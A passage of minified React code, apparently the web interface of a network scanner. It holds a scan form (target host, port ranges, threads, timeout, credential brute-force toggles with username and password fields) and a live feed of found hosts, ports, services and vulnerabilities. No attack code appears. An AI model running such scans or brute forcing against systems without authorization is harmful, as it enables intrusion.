[&>svg+div]:translate-y-[-3px] [&>svg]:absolute [&>svg]:left-4 [&>svg]:top-4 [&>svg]:text-foreground",{variants:{variant:{default:"bg-background text-foreground",destructive:"border-destructive/50 text-destructive dark:border-destructive [&>svg]:text-destructive",success:"border-success/50 text-success dark:border-success [&>svg]:text-success",warning:"border-warning/50 text-warning dark:border-warning [&>svg]:text-warning"}},defaultVariants:{variant:"default"}}),jP=v.forwardRef(({className:e,variant:t,...n},r)=>E.jsx("div",{ref:r,role:"alert",className:Ee(J7({variant:t}),e),...n}));jP.displayName="Alert";const eq=v.forwardRef(({className:e,...t},n)=>E.jsx("h5",{ref:n,className:Ee("mb-1 font-medium leading-none tracking-tight",e),...t}));eq.displayName="AlertTitle";const PP=v.forwardRef(({className:e,...t},n)=>E.jsx("div",{ref:n,className:Ee("text-sm [&_p]:leading-relaxed",e),...t}));PP.displayName="AlertDescription";function tq({formData:e,onFormChange:t,presets:n,isRunning:r,isStopping:i,loading:l,error:c,onStart:u,onStop:f}){const{t:h,i18n:p}=xo(),[m,y]=v.useState(!1),x=(O,A)=>{t({...e,[O]:A})},S=O=>{const A=n.find(_=>_.id===O);A&&t({...e,ports:A.ports,scan_mode:A.scan_mode,thread_num:A.thread_num,timeout:A.timeout})},w=r;return E.jsxs(Gl,{children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-4",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(BA,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),h("scanTitle")]}),r?E.jsxs(or,{size:"sm",variant:"destructive",onClick:f,disabled:l||i,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(AB,{className:"w-4 h-4"}),h("scanStopBtn")]}):E.jsxs(or,{size:"sm",onClick:u,disabled:l||!e.host,className:"gap-2",children:[l?E.jsx(c0,{className:"w-4 h-4 animate-spin"}):E.jsx(pB,{className:"w-4 h-4"}),h("scanStartBtn")]})]}),E.jsxs(Zl,{className:"space-y-4",children:[c&&E.jsxs(jP,{variant:"destructive",children:[E.jsx(xM,{className:"h-4 w-4"}),E.jsx(PP,{children:c})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(BA,{className:"w-3.5 h-3.5"}),h("scanTarget")]}),E.jsx(Rr,{placeholder:h("scanTargetPlaceholder"),value:e.host,onChange:O=>x("host",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"grid grid-cols-2 sm:grid-cols-4 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(nB,{className:"w-3.5 h-3.5"}),h("scanPorts")]}),E.jsx(Rr,{placeholder:"1-65535",value:e.ports,onChange:O=>x("ports",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($B,{className:"w-3.5 h-3.5"}),h("scanPreset")]}),E.jsxs(L7,{onValueChange:S,disabled:w,children:[E.jsx(xP,{children:E.jsx(I7,{placeholder:h("scanPresetSelect")})}),E.jsx(OP,{children:n.map(O=>E.jsx(EP,{value:O.id,children:p.language==="zh"?O.name:O.name_en},O.id))})]})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(xd,{className:"w-3.5 h-3.5"}),h("scanThreads")]}),E.jsx(Rr,{type:"number",value:e.thread_num,onChange:O=>x("thread_num",parseInt(O.target.value)||600),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(wM,{className:"w-3.5 h-3.5"}),h("scanTimeout")]}),E.jsx(Rr,{type:"number",value:e.timeout,onChange:O=>x("timeout",parseInt(O.target.value)||3),disabled:w,className:"field-input-mono"})]})]}),E.jsxs(F7,{open:m,onOpenChange:y,children:[E.jsx(V7,{asChild:!0,children:E.jsxs(or,{variant:"ghost",size:"sm",disabled:w,className:"flex items-center gap-1.5 text-sm text-muted-foreground hover:text-foreground p-0 h-auto font-normal",children:[E.jsx(wB,{className:"w-4 h-4"}),E.jsx(Ch,{className:`w-4 h-4 transition-transform ${m?"rotate-180":""}`}),h("scanAdvanced")]})}),E.jsx(K7,{className:"mt-3",children:E.jsxs("div",{className:"space-y-3 p-3 sm:p-4 rounded-lg bg-muted/50 border",children:[E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-2 sm:gap-3",children:[E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(EM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisablePing")]}),E.jsx(cd,{checked:e.disable_ping,onCheckedChange:O=>x("disable_ping",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx($A,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanDisableBrute")]}),E.jsx(cd,{checked:e.disable_brute,onCheckedChange:O=>x("disable_brute",O),disabled:w})]}),E.jsxs("div",{className:"switch-row group",children:[E.jsxs(On,{className:"inline-flex items-center gap-2 cursor-pointer",children:[E.jsx(yM,{className:"w-4 h-4 text-muted-foreground group-hover:text-foreground transition-colors"}),h("scanAliveOnly")]}),E.jsx(cd,{checked:e.alive_only,onCheckedChange:O=>x("alive_only",O),disabled:w})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-3 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(DB,{className:"w-3.5 h-3.5"}),h("scanUsername")]}),E.jsx(Rr,{value:e.username,onChange:O=>x("username",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx($A,{className:"w-3.5 h-3.5"}),h("scanPassword")]}),E.jsx(Rr,{type:"password",value:e.password,onChange:O=>x("password",O.target.value),disabled:w,className:"field-input"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(F6,{className:"w-3.5 h-3.5"}),h("scanDomain")]}),E.jsx(Rr,{value:e.domain,onChange:O=>x("domain",O.target.value),disabled:w,className:"field-input"})]})]}),E.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 gap-3",children:[E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludeHosts")]}),E.jsx(Rr,{value:e.exclude_hosts,onChange:O=>x("exclude_hosts",O.target.value),disabled:w,className:"field-input-mono"})]}),E.jsxs("div",{className:"space-y-1.5",children:[E.jsxs(On,{className:"field-label inline-flex items-center gap-1.5",children:[E.jsx(zA,{className:"w-3.5 h-3.5"}),h("scanExcludePorts")]}),E.jsx(Rr,{value:e.exclude_ports,onChange:O=>x("exclude_ports",O.target.value),disabled:w,className:"field-input-mono"})]})]})]})})]})]})]})}const nq=Dh("inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-semibold transition-colors focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2",{variants:{variant:{default:"border-transparent bg-primary text-primary-foreground hover:bg-primary/80",secondary:"border-transparent bg-secondary text-secondary-foreground hover:bg-secondary/80",destructive:"border-transparent bg-destructive text-destructive-foreground hover:bg-destructive/80",outline:"text-foreground",host:"border-transparent bg-blue-500/10 text-blue-600 dark:text-blue-400",port:"border-transparent bg-emerald-500/10 text-emerald-600 dark:text-emerald-400",service:"border-transparent bg-amber-500/10 text-amber-600 dark:text-amber-400",vuln:"border-transparent bg-destructive/10 text-destructive"}},defaultVariants:{variant:"default"}});function ga({className:e,variant:t,...n}){return E.jsx("div",{className:Ee(nq({variant:t}),e),...n})}function rq(e,t){return v.useReducer((n,r)=>t[n][r]??n,e)}var Jb="ScrollArea",[RP]=Fn(Jb),[aq,hr]=RP(Jb),DP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,type:r="hover",dir:i,scrollHideDelay:l=600,...c}=e,[u,f]=v.useState(null),[h,p]=v.useState(null),[m,y]=v.useState(null),[x,S]=v.useState(null),[w,O]=v.useState(null),[A,_]=v.useState(0),[T,j]=v.useState(0),[M,P]=v.useState(!1),[R,I]=v.useState(!1),B=De(t,U=>f(U)),q=Kc(i);return E.jsx(aq,{scope:n,type:r,dir:q,scrollHideDelay:l,scrollArea:u,viewport:h,onViewportChange:p,content:m,onContentChange:y,scrollbarX:x,onScrollbarXChange:S,scrollbarXEnabled:M,onScrollbarXEnabledChange:P,scrollbarY:w,onScrollbarYChange:O,scrollbarYEnabled:R,onScrollbarYEnabledChange:I,onCornerWidthChange:_,onCornerHeightChange:j,children:E.jsx(Ce.div,{dir:q,...c,ref:B,style:{position:"relative","--radix-scroll-area-corner-width":A+"px","--radix-scroll-area-corner-height":T+"px",...e.style}})})});DP.displayName=Jb;var kP="ScrollAreaViewport",LP=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,children:r,nonce:i,...l}=e,c=hr(kP,n),u=v.useRef(null),f=De(t,u,c.onViewportChange);return E.jsxs(E.Fragment,{children:[E.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-scroll-area-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-scroll-area-viewport]::-webkit-scrollbar{display:none}"},nonce:i}),E.jsx(Ce.div,{"data-radix-scroll-area-viewport":"",...l,ref:f,style:{overflowX:c.scrollbarXEnabled?"scroll":"hidden",overflowY:c.scrollbarYEnabled?"scroll":"hidden",...e.style},children:E.jsx("div",{ref:c.onContentChange,style:{minWidth:"100%",display:"table"},children:r})})]})});LP.displayName=kP;var Yr="ScrollAreaScrollbar",ex=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),{onScrollbarXEnabledChange:l,onScrollbarYEnabledChange:c}=i,u=e.orientation==="horizontal";return v.useEffect(()=>(u?l(!0):c(!0),()=>{u?l(!1):c(!1)}),[u,l,c]),i.type==="hover"?E.jsx(iq,{...r,ref:t,forceMount:n}):i.type==="scroll"?E.jsx(oq,{...r,ref:t,forceMount:n}):i.type==="auto"?E.jsx(IP,{...r,ref:t,forceMount:n}):i.type==="always"?E.jsx(tx,{...r,ref:t}):null});ex.displayName=Yr;var iq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),[l,c]=v.useState(!1);return v.useEffect(()=>{const u=i.scrollArea;let f=0;if(u){const h=()=>{window.clearTimeout(f),c(!0)},p=()=>{f=window.setTimeout(()=>c(!1),i.scrollHideDelay)};return u.addEventListener("pointerenter",h),u.addEventListener("pointerleave",p),()=>{window.clearTimeout(f),u.removeEventListener("pointerenter",h),u.removeEventListener("pointerleave",p)}}},[i.scrollArea,i.scrollHideDelay]),E.jsx(ln,{present:n||l,children:E.jsx(IP,{"data-state":l?"visible":"hidden",...r,ref:t})})}),oq=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=hr(Yr,e.__scopeScrollArea),l=e.orientation==="horizontal",c=Fh(()=>f("SCROLL_END"),100),[u,f]=rq("hidden",{hidden:{SCROLL:"scrolling"},scrolling:{SCROLL_END:"idle",POINTER_ENTER:"interacting"},interacting:{SCROLL:"interacting",POINTER_LEAVE:"idle"},idle:{HIDE:"hidden",SCROLL:"scrolling",POINTER_ENTER:"interacting"}});return v.useEffect(()=>{if(u==="idle"){const h=window.setTimeout(()=>f("HIDE"),i.scrollHideDelay);return()=>window.clearTimeout(h)}},[u,i.scrollHideDelay,f]),v.useEffect(()=>{const h=i.viewport,p=l?"scrollLeft":"scrollTop";if(h){let m=h[p];const y=()=>{const x=h[p];m!==x&&(f("SCROLL"),c()),m=x};return h.addEventListener("scroll",y),()=>h.removeEventListener("scroll",y)}},[i.viewport,l,f,c]),E.jsx(ln,{present:n||u!=="hidden",children:E.jsx(tx,{"data-state":u==="hidden"?"hidden":"visible",...r,ref:t,onPointerEnter:ue(e.onPointerEnter,()=>f("POINTER_ENTER")),onPointerLeave:ue(e.onPointerLeave,()=>f("POINTER_LEAVE"))})})}),IP=v.forwardRef((e,t)=>{const n=hr(Yr,e.__scopeScrollArea),{forceMount:r,...i}=e,[l,c]=v.useState(!1),u=e.orientation==="horizontal",f=Fh(()=>{if(n.viewport){const h=n.viewport.offsetWidth{const{orientation:n="vertical",...r}=e,i=hr(Yr,e.__scopeScrollArea),l=v.useRef(null),c=v.useRef(0),[u,f]=v.useState({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),h=HP(u.viewport,u.content),p={...r,sizes:u,onSizesChange:f,hasThumb:h>0&&h<1,onThumbChange:y=>l.current=y,onThumbPointerUp:()=>c.current=0,onThumbPointerDown:y=>c.current=y};function m(y,x){return dq(y,c.current,u,x)}return n==="horizontal"?E.jsx(lq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollLeft,x=xC(y,u,i.dir);l.current.style.transform=`translate3d(${x}px, 0, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollLeft=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollLeft=m(y,i.dir))}}):n==="vertical"?E.jsx(sq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollTop,x=xC(y,u);l.current.style.transform=`translate3d(0, ${x}px, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollTop=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollTop=m(y))}}):null}),lq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarXChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"horizontal",...i,ref:h,sizes:n,style:{bottom:0,left:l.dir==="rtl"?"var(--radix-scroll-area-corner-width)":0,right:l.dir==="ltr"?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.x),onDragScroll:p=>e.onDragScroll(p.x),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollLeft+p.deltaX;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollWidth,viewport:l.viewport.offsetWidth,scrollbar:{size:f.current.clientWidth,paddingStart:Nd(c.paddingLeft),paddingEnd:Nd(c.paddingRight)}})}})}),sq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarYChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"vertical",...i,ref:h,sizes:n,style:{top:0,right:l.dir==="ltr"?0:void 0,left:l.dir==="rtl"?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.y),onDragScroll:p=>e.onDragScroll(p.y),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollTop+p.deltaY;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollHeight,viewport:l.viewport.offsetHeight,scrollbar:{size:f.current.clientHeight,paddingStart:Nd(c.paddingTop),paddingEnd:Nd(c.paddingBottom)}})}})}),[cq,zP]=RP(Yr),$P=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,sizes:r,hasThumb:i,onThumbChange:l,onThumbPointerUp:c,onThumbPointerDown:u,onThumbPositionChange:f,onDragScroll:h,onWheelScroll:p,onResize:m,...y}=e,x=hr(Yr,n),[S,w]=v.useState(null),O=De(t,B=>w(B)),A=v.useRef(null),_=v.useRef(""),T=x.viewport,j=r.content-r.viewport,M=en(p),P=en(f),R=Fh(m,10);function I(B){if(A.current){const q=B.clientX-A.current.left,U=B.clientY-A.current.top;h({x:q,y:U})}}return v.useEffect(()=>{const B=q=>{const U=q.target;S?.contains(U)&&M(q,j)};return document.addEventListener("wheel",B,{passive:!1}),()=>document.removeEventListener("wheel",B,{passive:!1})},[T,S,j,M]),v.useEffect(P,[r,P]),Rl(S,R),Rl(x.content,R),E.jsx(cq,{scope:n,scrollbar:S,hasThumb:i,onThumbChange:en(l),onThumbPointerUp:en(c),onThumbPositionChange:P,onThumbPointerDown:en(u),children:E.jsx(Ce.div,{...y,ref:O,style:{position:"absolute",...y.style},onPointerDown:ue(e.onPointerDown,B=>{B.button===0&&(B.target.setPointerCapture(B.pointerId),A.current=S.getBoundingClientRect(),_.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",x.viewport&&(x.viewport.style.scrollBehavior="auto"),I(B))}),onPointerMove:ue(e.onPointerMove,I),onPointerUp:ue(e.onPointerUp,B=>{const q=B.target;q.hasPointerCapture(B.pointerId)&&q.releasePointerCapture(B.pointerId),document.body.style.webkitUserSelect=_.current,x.viewport&&(x.viewport.style.scrollBehavior=""),A.current=null})})})}),Td="ScrollAreaThumb",BP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=zP(Td,e.__scopeScrollArea);return E.jsx(ln,{present:n||i.hasThumb,children:E.jsx(uq,{ref:t,...r})})}),uq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,style:r,...i}=e,l=hr(Td,n),c=zP(Td,n),{onThumbPositionChange:u}=c,f=De(t,m=>c.onThumbChange(m)),h=v.useRef(void 0),p=Fh(()=>{h.current&&(h.current(),h.current=void 0)},100);return v.useEffect(()=>{const m=l.viewport;if(m){const y=()=>{if(p(),!h.current){const x=hq(m,u);h.current=x,u()}};return u(),m.addEventListener("scroll",y),()=>m.removeEventListener("scroll",y)}},[l.viewport,p,u]),E.jsx(Ce.div,{"data-state":c.hasThumb?"visible":"hidden",...i,ref:f,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...r},onPointerDownCapture:ue(e.onPointerDownCapture,m=>{const x=m.target.getBoundingClientRect(),S=m.clientX-x.left,w=m.clientY-x.top;c.onThumbPointerDown({x:S,y:w})}),onPointerUp:ue(e.onPointerUp,c.onThumbPointerUp)})});BP.displayName=Td;var nx="ScrollAreaCorner",UP=v.forwardRef((e,t)=>{const n=hr(nx,e.__scopeScrollArea),r=!!(n.scrollbarX&&n.scrollbarY);return n.type!=="scroll"&&r?E.jsx(fq,{...e,ref:t}):null});UP.displayName=nx;var fq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,...r}=e,i=hr(nx,n),[l,c]=v.useState(0),[u,f]=v.useState(0),h=!!(l&&u);return Rl(i.scrollbarX,()=>{const p=i.scrollbarX?.offsetHeight||0;i.onCornerHeightChange(p),f(p)}),Rl(i.scrollbarY,()=>{const p=i.scrollbarY?.offsetWidth||0;i.onCornerWidthChange(p),c(p)}),h?E.jsx(Ce.div,{...r,ref:t,style:{width:l,height:u,position:"absolute",right:i.dir==="ltr"?0:void 0,left:i.dir==="rtl"?0:void 0,bottom:0,...e.style}}):null});function Nd(e){return e?parseInt(e,10):0}function HP(e,t){const n=e/t;return isNaN(n)?0:n}function qh(e){const t=HP(e.viewport,e.content),n=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,r=(e.scrollbar.size-n)*t;return Math.max(r,18)}function dq(e,t,n,r="ltr"){const i=qh(n),l=i/2,c=t||l,u=i-c,f=n.scrollbar.paddingStart+c,h=n.scrollbar.size-n.scrollbar.paddingEnd-u,p=n.content-n.viewport,m=r==="ltr"?[0,p]:[p*-1,0];return qP([f,h],m)(e)}function xC(e,t,n="ltr"){const r=qh(t),i=t.scrollbar.paddingStart+t.scrollbar.paddingEnd,l=t.scrollbar.size-i,c=t.content-t.viewport,u=l-r,f=n==="ltr"?[0,c]:[c*-1,0],h=g0(e,f);return qP([0,c],[0,u])(h)}function qP(e,t){return n=>{if(e[0]===e[1]||t[0]===t[1])return t[0];const r=(t[1]-t[0])/(e[1]-e[0]);return t[0]+r*(n-e[0])}}function FP(e,t){return e>0&&e{})=>{let n={left:e.scrollLeft,top:e.scrollTop},r=0;return(function i(){const l={left:e.scrollLeft,top:e.scrollTop},c=n.left!==l.left,u=n.top!==l.top;(c||u)&&t(),n=l,r=window.requestAnimationFrame(i)})(),()=>window.cancelAnimationFrame(r)};function Fh(e,t){const n=en(e),r=v.useRef(0);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),v.useCallback(()=>{window.clearTimeout(r.current),r.current=window.setTimeout(n,t)},[n,t])}function Rl(e,t){const n=en(t);Ft(()=>{let r=0;if(e){const i=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(n)});return i.observe(e),()=>{window.cancelAnimationFrame(r),i.unobserve(e)}}},[e,n])}var VP=DP,pq=LP,mq=UP;const rx=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(VP,{ref:r,className:Ee("relative overflow-hidden",e),...n,children:[E.jsx(pq,{className:"h-full w-full rounded-[inherit]",children:t}),E.jsx(KP,{}),E.jsx(mq,{})]}));rx.displayName=VP.displayName;const KP=v.forwardRef(({className:e,orientation:t="vertical",...n},r)=>E.jsx(ex,{ref:r,orientation:t,className:Ee("flex touch-none select-none transition-colors",t==="vertical"&&"h-full w-2.5 border-l border-l-transparent p-[1px]",t==="horizontal"&&"h-2.5 flex-col border-t border-t-transparent p-[1px]",e),...n,children:E.jsx(BP,{className:"relative flex-1 rounded-full bg-border"})}));KP.displayName=ex.displayName;function Vh({icon:e,title:t,description:n,action:r,className:i,...l}){return E.jsxs("div",{className:Ee("flex flex-col items-center justify-center py-12 px-4 text-center",i),...l,children:[e&&E.jsx("div",{className:"mb-4 rounded-full bg-muted p-4",children:E.jsx(e,{className:"h-8 w-8 text-muted-foreground"})}),E.jsx("h3",{className:"text-lg font-medium text-foreground mb-1",children:t}),n&&E.jsx("p",{className:"text-sm text-muted-foreground max-w-sm mb-4",children:n}),r&&E.jsx("div",{className:"mt-2",children:r})]})}const YP=v.createContext(null);function vq({children:e}){const[t,n]=v.useState(!1),[r,i]=v.useState([]),l=v.useRef(null),c=v.useRef(null),u=v.useRef(!1),f=v.useRef(new Map),h=v.useRef(0),p=v.useCallback(()=>{f.current.clear(),h.current=0,i([])},[]),m=v.useCallback(()=>{if(!u.current)return;if(l.current){const O=l.current.readyState;if(O===WebSocket.OPEN||O===WebSocket.CONNECTING)return}const S=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/ws`,w=new WebSocket(S);l.current=w,w.onopen=()=>{u.current&&n(!0)},w.onclose=()=>{u.current&&(n(!1),c.current=setTimeout(()=>{u.current&&m()},3e3))},w.onerror=()=>{w.close()},w.onmessage=O=>{if(u.current)try{const A=JSON.parse(O.data);if(A.type==="scan_result"&&A.data){const _=A.data,T=A.timestamp||Date.now(),j={id:++h.current,time:new Date(T).toLocaleTimeString(),type:_.type||"info",target:_.target||"",status:_.status||""},M=`${j.type}|${j.target}`,P=f.current.get(M);if(P){const I=P.status;(I==="identified"||I==="open"||I==="")&&j.status!=="identified"&&j.status!=="open"&&j.status!==""&&f.current.set(M,{...j,id:P.id})}else f.current.set(M,j);const R=Array.from(f.current.values()).sort((I,B)=>B.id-I.id).slice(0,100);i(R)}}catch{}}},[]);v.useEffect(()=>(u.current=!0,m(),()=>{u.current=!1,c.current&&(clearTimeout(c.current),c.current=null),l.current&&(l.current.close(),l.current=null)}),[m]);const y=v.useMemo(()=>({isConnected:t,logs:r,clearLogs:p}),[t,r,p]);return E.jsx(YP.Provider,{value:y,children:e})}function ax(){const e=v.useContext(YP);if(!e)throw new Error("useLiveFeed must be used within a LiveFeedProvider");return e}const gq={host:Tb,port:_b,service:OB,vuln:Nb};function GP({compact:e=!1,showTypeLabel:t=!1}){const{t:n}=xo(),{isConnected:r,logs:i}=ax(),l=u=>{const f=u?.toLowerCase();return gq[f]||bM},c=u=>{switch(u?.toLowerCase()){case"host":return n("typeHost");case"port":return n("typePort");case"service":return n("typeService");case"vuln":return n("typeVuln");default:return u}};return E.jsxs(Gl,{className:e?"":"flex-1 flex flex-col",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),n("liveFeed")]}),E.jsxs("div",{className:"flex items-center gap-2",children:[r?E.jsxs(ga,{variant:"default",className:"gap-1",children:[E.jsx(EM,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedConnected")})]}):E.jsxs(ga,{variant:"destructive",className:"gap-1",children:[E.jsx(LB,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedDisconnected")})]}),E.jsxs(ga,{variant:"outline",className:"font-mono",children:[i.length,"/100"]})]})]}),E.jsx(Zl,{className:e?"pt-0":"pt-0 flex-1 min-h-0",children:E.jsx(rx,{className:e?"h-52 lg:h-56":"h-full",children:i.length===0?E.jsx(Vh,{icon:OM,title:n("resultsEmpty"),description:n("liveFeedEmptyDescription"),className:e?"py-6":"py-8"}):E.jsx("div",{className:"space-y-0.5",children:i.map(u=>{const f=l(u.type);return E.jsxs("div",{className:"log-line animate-fade-in group",children:[E.jsx("span",{className:"log-time",children:u.time}),E.jsxs(ga,{variant:u.type?.toLowerCase(),className:"gap-1 text-xs",children:[E.jsx(f,{className:"w-3 h-3"}),t&&c(u.type)]}),E.jsx("span",{className:"log-target",children:u.target}),E.jsx("span",{className:"text-muted-foreground truncate ml-auto text-xs",children:u.status})]},u.id)})})})})]})}var yq=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function ix(e){if(typeof e!="string")return!1;var t=yq;return t.includes(e)}var 